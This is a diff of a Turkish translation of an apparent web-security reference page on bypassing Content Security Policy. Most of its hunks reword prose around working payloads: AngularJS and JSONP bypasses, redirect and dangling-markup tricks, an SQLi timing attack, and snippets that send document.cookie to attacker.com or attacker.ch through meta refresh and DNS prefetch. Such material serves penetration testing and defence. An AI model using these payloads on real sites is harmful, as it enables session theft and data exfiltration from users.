<base href="https://www.attacker.com/">
|
||||
|
@ -409,12 +416,12 @@ Eğer zafiyetli sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL kullan
|
|||
|
||||
Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Bununla birlikte, AngularJS, alternatif olarak özel olaylar tanıtır. Bir olay içinde, AngularJS, tarayıcıdaki olay nesnesine referans olan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi atlatmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirinde yer alan bir nesne dizisini tutan `path` özniteliğine sahiptir ve bu dizide `window` nesnesi her zaman en sonda yer alır. Bu yapı, kum havuzu kaçış taktikleri için önemlidir.
|
||||
|
||||
Bu diziyi `orderBy` filtresine yönlendirerek, üzerinde dolaşarak (iterasyon yaparak), terminal elemanı ( `window` nesnesi) kullanarak `alert()` gibi global bir işlevi tetiklemek mümkündür. Aşağıdaki gösterilen kod parçacığı, bu süreci açıklar:
|
||||
Bu diziyi `orderBy` filtresine yönlendirerek, onun üzerinde yineleme yapmak ve terminal öğeyi ( `window` nesnesi) kullanarak `alert()` gibi bir genel işlevi tetiklemek mümkündür. Aşağıdaki gösterilen kod parçacığı, bu süreci açıklar:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Bu parça, olayı tetiklemek için `ng-focus` direktifini kullanmanın, `path` dizisini manipüle etmek için `$event.path|orderBy`'i kullanmanın ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanmanın vurgusunu yapar, böylece `document.cookie`'yi ortaya çıkarır.
|
||||
Bu parça, olayı tetiklemek için `ng-focus` yönergesinin kullanımını vurgular, `path` dizisini manipüle etmek için `$event.path|orderBy`'yi kullanır ve `alert()` işlevini yürütmek için `window` nesnesini kullanarak `document.cookie`'yi ortaya çıkarır.
|
||||
|
||||
**Diğer Angular bypasslarını** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **adresinde bulabilirsiniz**
|
||||
|
||||
|
@ -422,7 +429,7 @@ Bu parça, olayı tetiklemek için `ng-focus` direktifini kullanmanın, `path` d
|
|||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
Bir Angular JS uygulamasında betik yükleme için alan adlarını beyaz listeye alan bir CSP politikası, geri çağrı işlevlerinin çağrılması ve belirli güvenlik açıklarına sahip sınıflar aracılığıyla atlatılabilir. Bu teknik hakkında daha fazla bilgiyi bu [git deposundaki](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) detaylı kılavuzda bulabilirsiniz.
|
||||
Bir Angular JS uygulamasında betik yükleme için alan adlarını beyaz listeye alan bir CSP politikası, geri çağrı işlevlerinin çağrılması ve belirli güvenlik açıklarına sahip sınıflar aracılığıyla atlatılabilir. Bu teknik hakkında daha fazla bilgi, bu [git deposunda](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) bulunan detaylı kılavuzda mevcuttur.
|
||||
|
||||
Çalışan yükler:
|
||||
```html
|
||||
|
@ -432,13 +439,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
Diğer JSONP keyfi yürütme uç noktaları [**burada**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) bulunabilir (bazıları silindi veya düzeltildi)
|
||||
|
||||
### Yönlendirme Aracılığıyla Atlatma
|
||||
|
||||
CSP yönlendirme ile karşılaştığında ne olur? Yönlendirme farklı bir orijine yol açarsa ve izin verilmemişse, yine başarısız olacaktır.
|
||||
CSP yönlendirme ile karşılaştığında ne olur? Eğer yönlendirme, izin verilmeyen farklı bir kökene yol açarsa, hala başarısız olacaktır.
|
||||
|
||||
Ancak, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) içindeki açıklamaya göre, yönlendirme farklı bir yola yol açarsa, orijinal kısıtlamaları atlayabilir.
|
||||
Ancak, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) içindeki açıklamaya göre, eğer yönlendirme farklı bir yola yol açarsa, orijinal kısıtlamaları atlayabilir.
|
||||
|
||||
İşte bir örnek:
|
||||
```html
|
||||
|
@ -460,9 +465,9 @@ Eğer CSP `https://www.google.com/a/b/c/d` olarak ayarlanmışsa, yolun dikkate
|
|||
|
||||
Ancak, son `http://localhost:5555/301` **sunucu tarafında `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`'e yönlendirilecektir**. Yönlendirme olduğundan, **yol dikkate alınmaz** ve **betik yüklenebilir**, böylece yol kısıtlaması atlatılmış olur.
|
||||
|
||||
Bu yönlendirme ile, yol tamamen belirtilmiş olsa bile, hala atlatılacaktır.
|
||||
Bu yönlendirme ile, yol tamamen belirtilmiş olsa bile, yine atlatılacaktır.
|
||||
|
||||
Bu nedenle, en iyi çözüm, web sitesinin açık yönlendirme güvenlik açıklarına sahip olmadığından ve CSP kurallarında istismar edilebilecek alan adlarının olmadığından emin olmaktır.
|
||||
Bu nedenle, en iyi çözüm, web sitesinin açık yönlendirme açıklarının olmadığından ve CSP kurallarında istismar edilebilecek alan adlarının olmadığından emin olmaktır.
|
||||
|
||||
### Dangling markup ile CSP'yi atlatın
|
||||
|
||||
|
@ -472,7 +477,7 @@ Bu nedenle, en iyi çözüm, web sitesinin açık yönlendirme güvenlik açıkl
|
|||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` demek ki kodun içinde herhangi bir betik çalıştırabilirsiniz (XSS kodu çalıştırabilir) ve `img-src *` demek ki web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabilirsiniz.
|
||||
`'unsafe-inline'` demek ki kodun içinde herhangi bir scripti çalıştırabilirsiniz (XSS kodu çalıştırabilir) ve `img-src *` demek ki web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabilirsiniz.
|
||||
|
||||
Bu CSP'yi resimler aracılığıyla veri sızdırarak atlayabilirsiniz (bu durumda XSS, bir bot tarafından erişilebilen bir sayfada bir SQLi içeren bir CSRF'yi kötüye kullanır ve bayrağı bir resim aracılığıyla çıkarır):
|
||||
```javascript
|
||||
|
@ -480,11 +485,11 @@ Bu CSP'yi resimler aracılığıyla veri sızdırarak atlayabilirsiniz (bu durum
|
|||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek** için de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yükleme izni veriyorsa, **özel bir resim oluşturabilir**, bunu Twitter'a yükleyebilir ve "**unsafe-inline**" ı kötüye kullanarak bir JS kodunu (normal bir XSS olarak) **çalıştırabilirsiniz**. Bu JS kodu resmi **yükleyecek**, içinden JS'yi **çıkaracak** ve **çalıştıracak**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek** için de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yükleme izni veriyorsa, **özel bir resim oluşturabilir**, bunu Twitter'a yükleyebilir ve "**unsafe-inline**"i kötüye kullanarak bir JS kodunu (normal bir XSS olarak) **çalıştırabilirsiniz**. Bu JS kodu **resmi yükleyecek**, ondan JS'yi **çıkaracak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Hizmet İşçileriyle
|
||||
### Servis İşçileriyle
|
||||
|
||||
Hizmet işçilerinin **`importScripts`** fonksiyonu CSP tarafından sınırlı değildir:
|
||||
Servis işçilerinin **`importScripts`** fonksiyonu CSP tarafından sınırlı değildir:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
||||
|
@ -496,13 +501,13 @@ Hizmet işçilerinin **`importScripts`** fonksiyonu CSP tarafından sınırlı d
|
|||
|
||||
#### Chrome
|
||||
|
||||
Eğer sizin tarafınızdan gönderilen bir **parametre**, politikanın **bildirisinin içine yapıştırılıyorsa**, o zaman politikayı **kullanışsız hale getiren** bir şekilde değiştirebilirsiniz. Bu bypasslardan herhangi biriyle **script 'unsafe-inline'**'a izin verebilirsiniz:
|
||||
Eğer sizin tarafınızdan gönderilen bir **parametre**, **politikanın deklarasyonu içine yapıştırılıyorsa**, o zaman politikayı **kullanışsız hale getirecek şekilde** değiştirebilirsiniz. Bu bypasslardan herhangi biriyle **script 'unsafe-inline'**'ı **izin verebilirsiniz**:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Bu direktif **mevcut script-src direktiflerini üzerine yazar**.\
|
||||
Bir örnek burada bulabilirsiniz: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
Bir örnek şurada bulunabilir: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
|
@ -511,8 +516,8 @@ Edge'de çok daha basittir. Eğer CSP'ye sadece bunu ekleyebilirseniz: **`;_`**
|
|||
|
||||
### img-src \*; XSS aracılığıyla (iframe) - Zaman saldırısı
|
||||
|
||||
`'unsafe-inline'` direktifinin eksik olduğuna dikkat edin\
|
||||
Bu sefer kurbanı, `<iframe` ile **XSS** aracılığıyla **kontrolünüzdeki** bir sayfayı **yüklemesini sağlayabilirsiniz**. Bu sefer kurbanı, bilgi çıkarmak istediğiniz sayfaya erişmeye zorlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken süreyi **kontrol edebilirseniz**, ihtiyacınız olan bilgileri çıkarabilirsiniz.
|
||||
`'unsafe-inline'` direktifinin eksik olduğuna dikkat edin.\
|
||||
Bu sefer kurbanı **XSS** aracılığıyla **kontrolünüzdeki bir sayfayı yüklemesini sağlayabilirsiniz** `<iframe` ile. Bu sefer kurbanı istediğiniz yerden bilgi çıkarmak için erişmeye zorlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken süreyi bir şekilde **kontrol edebilirseniz**, ihtiyacınız olan bilgileri çıkarabilirsiniz.
|
||||
|
||||
Bu sefer bir **bayrak** çıkarılacak, her bir **karakter doğru tahmin edildiğinde** SQLi aracılığıyla **yanıtın** sleep fonksiyonundan dolayı **daha uzun sürmesi** nedeniyle bayrağı çıkarabileceksiniz:
|
||||
```html
|
||||
|
@ -576,13 +581,13 @@ run();
|
|||
```
|
||||
### Yer İşaretçileri Aracılığıyla
|
||||
|
||||
Bu saldırı, saldırganın kullanıcıyı tarayıcının yer işaretçisi üzerine bir bağlantıyı sürükleyip bırakmaya ikna ettiği bir sosyal mühendislik gerektirir. Bu yer işaretçisi, sürüklendiğinde veya tıklandığında **kötü amaçlı javascript** kodunu içerecektir ve mevcut web penceresinin bağlamında **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya izin verecektir**.
|
||||
Bu saldırı, saldırganın kullanıcıyı tarayıcının yer işaretçisi üzerine bir bağlantıyı sürükleyip bırakmaya ikna ettiği bir sosyal mühendislik gerektirir. Bu yer işaretçisi, **zararlı javascript** kodunu içerecektir ve sürüklendiğinde veya tıklandığında mevcut web penceresinin bağlamında **çalıştırılacak, CSP'yi atlayacak ve çerezler veya tokenlar gibi hassas bilgileri çalmaya izin verecektir**.
|
||||
|
||||
Daha fazla bilgi için [**buradaki orijinal rapora bakın**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP kısıtlayarak CSP'nin atlatılması
|
||||
### CSP kısıtlayarak CSP atlatma
|
||||
|
||||
Bu [**CTF çözümünde**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), bir izin verilen iframe içine daha kısıtlayıcı bir CSP enjekte edilerek CSP atlatılmış ve belirli bir JS dosyasının yüklenmesine izin verilmemiştir, ardından **prototype kirliliği** veya **dom clobbering** aracılığıyla farklı bir betiğin **keyfi bir betik yüklenmesine izin verilmiştir**.
|
||||
Bu [**CTF çözümünde**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), bir izin verilen iframe içine daha kısıtlayıcı bir CSP enjekte edilerek CSP atlatılır ve belirli bir JS dosyasının yüklenmesine izin verilmez, ardından **prototype kirliliği** veya **dom clobbering** aracılığıyla farklı bir betiği kötüye kullanarak **keyfi bir betik yüklenmesine izin verilir**.
|
||||
|
||||
Bir Iframe'in CSP'sini **`csp`** özniteliği ile **kısıtlayabilirsiniz**:
|
||||
|
||||
|
@ -592,8 +597,8 @@ Bir Iframe'in CSP'sini **`csp`** özniteliği ile **kısıtlayabilirsiniz**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
[**Bu CTF çözümünde**](https://github.com/aszx87410/ctf-writeups/issues/48), **HTML enjeksiyonu** aracılığıyla **CSP** daha fazla **kısıtlanabilir** ve böylece CSTI'yi önleyen bir betik devre dışı bırakılarak **zafiyet sömürülebilir hale geldi.**\
|
||||
CSP daha kısıtlayıcı hale getirilebilir **HTML meta etiketleri** kullanılarak ve iç içe betikler devre dışı bırakılabilir **girişi kaldırarak** ve **nonce**'ları ve **sha** aracılığıyla belirli iç içe betikler etkinleştirilebilir:
|
||||
[**Bu CTF çözümünde**](https://github.com/aszx87410/ctf-writeups/issues/48), **HTML enjeksiyonu** aracılığıyla **CSP** daha fazla **kısıtlanarak** CSTI'yi önleyen bir betik devre dışı bırakıldı ve dolayısıyla **zafiyet sömürülebilir hale geldi.**\
|
||||
CSP daha kısıtlayıcı hale getirilebilir **HTML meta etiketleri** kullanılarak ve iç içe betikler devre dışı bırakılabilir **giriş**lerini kaldırarak, **nonce**'larına izin verilir ve **sha** aracılığıyla belirli iç içe betikler etkinleştirilebilir:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
@ -602,7 +607,7 @@ CSP daha kısıtlayıcı hale getirilebilir **HTML meta etiketleri** kullanılar
|
|||
```
|
||||
### İçerik-Güvenlik-Politikası-Rapor-Yalnızca ile JS veri sızdırma
|
||||
|
||||
Eğer sunucunun yanıt vermesini sağlayabilirseniz **`Content-Security-Policy-Report-Only`** başlığıyla ve bir **değeri sizin kontrolünüzde** (belki bir CRLF nedeniyle), sunucunuzu işaret etmesini sağlayabilir ve eğer **sızdırmak istediğiniz JS içeriğini** **`<script>`** ile **sarmalarsanız** ve muhtemelen `unsafe-inline`'ın CSP tarafından izin verilmediği için, bu bir CSP hatası tetikleyecek ve duyarlı bilgileri içeren betiğin bir kısmı `Content-Security-Policy-Report-Only` tarafından sunucuya gönderilecektir.
|
||||
Eğer sunucunun yanıt vermesini sağlayabilirseniz **`Content-Security-Policy-Report-Only`** başlığıyla ve bir **değeri sizin kontrolünüzde** (belki bir CRLF nedeniyle), sunucunuzu işaret etmesini sağlayabilir ve eğer sızdırmak istediğiniz **JS içeriğini** **`<script>`** ile **sarmalarsanız** ve muhtemelen `unsafe-inline`'ın CSP tarafından izin verilmediği için, bu bir CSP hatası tetikleyecek ve duyarlı bilgileri içeren betik kısmı sunucuya `Content-Security-Policy-Report-Only` üzerinden gönderilecektir.
|
||||
|
||||
Örnek için [**bu CTF çözümüne bakın**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -614,17 +619,17 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
* İzin verilen bir URL'ye (bunu `https://example.redirect.com` olarak adlandıralım) işaret eden bir `iframe` oluşturulur.
|
||||
* Bu URL daha sonra CSP tarafından **izin verilmeyen** gizli bir URL'ye yönlendirir (örneğin, `https://usersecret.example2.com`).
|
||||
* `securitypolicyviolation` etkinliğini dinleyerek, `blockedURI` özelliği yakalanabilir. Bu özellik engellenen URI'nin alanını ortaya çıkararak, başlangıçtaki URL'nin yönlendiği gizli alanı sızdırır.
|
||||
* `securitypolicyviolation` etkinliğini dinleyerek, `blockedURI` özelliğini yakalayarak engellenen URI'nin alanını ortaya çıkarabilirsiniz, bu da başlangıçtaki URL'nin yönlendiği gizli alanı sızdırır.
|
||||
|
||||
İlginç olan, Chrome ve Firefox gibi tarayıcıların CSP'ye ilişkin iframe'leri işleme konusunda farklı davranışları olmasıdır, bu da tanımsız davranış nedeniyle hassas bilgilerin sızmasına neden olabilir.
|
||||
İlginç olan, Chrome ve Firefox gibi tarayıcıların CSP'ye göre iframe'leri işlemede farklı davranışları olmasıdır, bu da tanımsız davranış nedeniyle hassas bilgilerin sızmasına yol açabilir.
|
||||
|
||||
Başka bir teknik, CSP'yi kendisi üzerinden kullanarak gizli alt alanı çıkarmayı içerir. Bu yöntem, bir ikili arama algoritmasına dayanır ve CSP'yi ayarlayarak belirli alanları kasıtlı olarak engelleyen veya izin veren alt alanları içerecek şekilde ayarlanır. Örneğin, gizli alt alanı bilinmeyen karakterlerden oluşuyorsa, CSP yönergesini değiştirerek bu alt alanları engellemek veya izin vermek için farklı alt alanları iteratif olarak test edebilirsiniz. Bu yöntemi kolaylaştırmak için CSP'nin nasıl yapılandırılabileceğini gösteren bir kod parçası aşağıda verilmiştir:
|
||||
Başka bir teknik, CSP'yi kendisi üzerinden kullanarak gizli alt alanı çıkarmayı içerir. Bu yöntem, bir ikili arama algoritmasına dayanır ve CSP'yi belirli alanları kasten engelleyen veya izin veren CSP'yi ayarlayarak gizli alt alanı çıkarmaya dayanır. Örneğin, gizli alt alanı bilinmeyen karakterlerden oluşuyorsa, CSP yönergesini değiştirerek bu alt alanları engellemek veya izin vermek için CSP'yi değiştirerek farklı alt alanları iteratif olarak test edebilirsiniz. Aşağıda, bu yöntemi kolaylaştırmak için CSP'nin nasıl yapılandırılabileceğini gösteren bir kod parçası bulunmaktadır:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
CSP tarafından engellenen veya izin verilen istekleri izleyerek, gizli alt alanındaki olası karakterleri daraltarak sonunda tam URL'yi ortaya çıkarabilirsiniz.
|
||||
CSP tarafından engellenen veya izin verilen istekleri izleyerek, gizli alt alanındaki olası karakterleri daraltabilir ve sonunda tam URL'yi ortaya çıkarabilirsiniz.
|
||||
|
||||
Her iki yöntem de tarayıcılardaki CSP uygulamasının ve davranışının inceliklerinden yararlanır ve görünüşte güvenli politikaların hassas bilgileri istemeden sızdırabileceğini gösterir.
|
||||
Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inceliklerinden yararlanır ve görünüşte güvenli politikaların hassas bilgileri istemeden sızdırabileceğini gösterir.
|
||||
|
||||
Hile [**buradan**](https://ctftime.org/writeup/29310).
|
||||
|
||||
|
@ -636,10 +641,10 @@ Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenPro
|
|||
Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın
|
||||
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
|
||||
|
||||
**En Son Duyurular**\
|
||||
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin
|
||||
Yeni ödül avcılarının başlatılması ve önemli platform güncellemeleri hakkında bilgilenin
|
||||
|
||||
**Bize** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **katılın ve bugün en iyi hackerlarla işbirliğine başlayın!**
|
||||
|
||||
|
@ -647,14 +652,14 @@ Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bi
|
|||
|
||||
### PHP yanıt tamponu aşırı yükleme
|
||||
|
||||
PHP'nin varsayılan olarak yanıtı 4096 bayte kadar tamponladığı bilinmektedir. Bu nedenle, PHP bir uyarı gösteriyorsa, yeterli veri sağlayarak uyarılar içine veri doldurarak yanıtın CSP başlığından önce gönderilmesine neden olur ve başlık görmezden gelinir.\
|
||||
Sonra, tekniğin temeli, yanıt tamponunu uyarılarla doldurmaktır, böylece CSP başlığı gönderilmez.
|
||||
PHP'nin varsayılan olarak yanıtı 4096 bayte kadar tamponladığı bilinmektedir. Bu nedenle, PHP bir uyarı gösteriyorsa, yeterli veri sağlayarak uyarıların içine yeterli veri sağlayarak yanıtın CSP başlığından önce gönderilmesine neden olur ve başlık görmezden gelinir.\
|
||||
Sonra, tekniğin temeli temelde yanıt tamponunu uyarılarla doldurmaktır, böylece CSP başlığı gönderilmez.
|
||||
|
||||
Fikir [**bu yazıdan**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Hata Sayfasını Yeniden Yazma
|
||||
|
||||
[**Bu yazıdan**](https://blog.ssrf.kr/69) göründüğü kadarıyla, bir hata sayfası yükleyerek (muhtemelen CSP olmadan) ve içeriğini yeniden yazarak CSP korumasını atlatmanın mümkün olduğu görünüyor.
|
||||
[**Bu yazıdan**](https://blog.ssrf.kr/69) görünüşe göre bir CSP korumasını atlatmanın mümkün olduğu, bir hata sayfası yükleyerek (muhtemelen CSP olmadan) ve içeriğini yeniden yazarak mümkün olduğu görünüyor.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -663,20 +668,20 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME, bir sayfanın bir uç noktasındaki XSS'i (veya çok sınırlı XSS'i) **kötüye kullanarak**, **aynı kökten diğer uç noktaları kötüye kullanmak** için kullanılan bir tekniktir. Bu, savunmasız uç noktayı saldırgan sayfasından yükleyerek ve ardından saldırgan sayfayı kötüye kullanmak istediğiniz aynı kökteki gerçek uç noktaya yeniden yükleyerek yapılır. Bu şekilde **savunmasız uç nokta**, **payload** içinde **`opener`** nesnesini kullanarak **kötüye kullanmak istediğiniz gerçek uç noktanın DOM'una erişebilir**. Daha fazla bilgi için şuraya bakın:
|
||||
SOME, bir sayfanın bir uç noktasındaki XSS'i (veya çok sınırlı XSS'i) **kötüye kullanarak**, **aynı kökten diğer uç noktaları kötüye kullanmak** için kullanılan bir tekniktir. Bu, savunmasız uç noktayı saldırganın sayfasından yükleyerek ve ardından saldırganın sayfasını kötüye kullanmak istediğiniz aynı kökteki gerçek uç noktaya yeniden yükleyerek yapılır. Bu şekilde **savunmasız uç nokta**, **payload** içindeki **`opener`** nesnesini kullanarak **kötüye kullanmak istediğiniz gerçek uç noktanın DOM'una erişebilir**. Daha fazla bilgi için şuraya bakın:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ayrıca, **wordpress**'in `/wp-json/wp/v2/users/1?_jsonp=data` yolunda **yansıtacak** bir **JSONP** uç noktası bulunmaktadır (yalnızca harfler, rakamlar ve noktalarla sınırlı olarak).
|
||||
Ayrıca, **wordpress**'in `/wp-json/wp/v2/users/1?_jsonp=data` yolunda **yansıtacak** bir **JSONP** uç noktası bulunmaktadır ve bu uç nokta, yalnızca harf, rakam ve noktalarla sınırlı olan **gönderilen veriyi** yansıtacaktır.
|
||||
|
||||
Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak** ve `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **yerleştirmek** için kötüye kullanabilir, bu **script** 'self' tarafından **izin verildiği için yüklenecektir**. Ayrıca, ve WordPress yüklü olduğundan, bir saldırgan **SOME saldırısını** **CSP'yi atlatan** **savunmasız** **geri çağrı** uç noktası aracılığıyla kötüye kullanabilir ve bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek...\
|
||||
Bir saldırgan, bu uç noktayı kötüye kullanarak WordPress'e karşı **bir SOME saldırısı oluşturabilir** ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **yerleştirebilir**. Bu **script**, 'self' tarafından **izin verildiği için yüklenecektir**. Ayrıca, ve WordPress yüklü olduğundan, bir saldırgan, **CSP'yi atlatan** **savunmasız** **geri çağrı** uç noktası aracılığıyla **SOME saldırısını kötüye kullanabilir** ve bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek gibi işlemleri gerçekleştirebilir...\
|
||||
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
Eğer **harici sunucularla etkileşime izin verilmiyorsa** sıkı bir CSP varsa, bilgileri dışarı sızdırmak için her zaman yapabileceğiniz bazı şeyler vardır.
|
||||
Eğer **harici sunucularla etkileşime izin vermeyen sıkı bir CSP** varsa, bilgileri dışa aktarmak için her zaman yapabileceğiniz bazı şeyler vardır.
|
||||
|
||||
### Location
|
||||
|
||||
|
@ -691,20 +696,18 @@ Bir meta etiketi enjekte ederek yönlendirebilirsiniz (bu sadece bir yönlendirm
|
|||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
### DNS Prefetch
|
||||
### DNS Ön Yükleme
|
||||
|
||||
Sayfaları daha hızlı yüklemek için tarayıcılar, ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve daha sonra kullanmak üzere önbelleğe alacak.\
|
||||
Tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şunu belirtebilirsiniz: `<link reol="dns-prefetch" href="something.com">`
|
||||
Sayfaları daha hızlı yüklemek için tarayıcılar, ana bilgisayar adlarını IP adreslerine önceden çözümleyip daha sonra kullanmak üzere önbelleğe alırlar.\
|
||||
Tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şu şekilde belirtebilirsiniz: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Bu davranışı **DNS istekleri aracılığıyla hassas bilgileri dışarı sızdırmak** için kötüye kullanabilirsiniz:
|
||||
Bu davranışı istismar ederek **DNS istekleri aracılığıyla hassas bilgileri dışarı sızdırabilirsiniz**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
### Başka bir yol:
|
||||
|
||||
Yukarıda bahsedilen yöntemlerin yanı sıra, bazı durumlarda bir web sitesinin içerik güvenlik politikasını (CSP) atlayabilecek başka yöntemler de bulunmaktadır. Bu yöntemler genellikle mevcut bir açığı veya zayıflığı kullanarak gerçekleştirilir.
|
||||
Başka bir yol:
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
|
@ -762,29 +765,29 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişime geçin!
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılarak deneyimli hackerlar ve ödül avcıları ile iletişim kurun!
|
||||
|
||||
**Hacking Insights**\
|
||||
Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin
|
||||
**Hacking İçgörüleri**\
|
||||
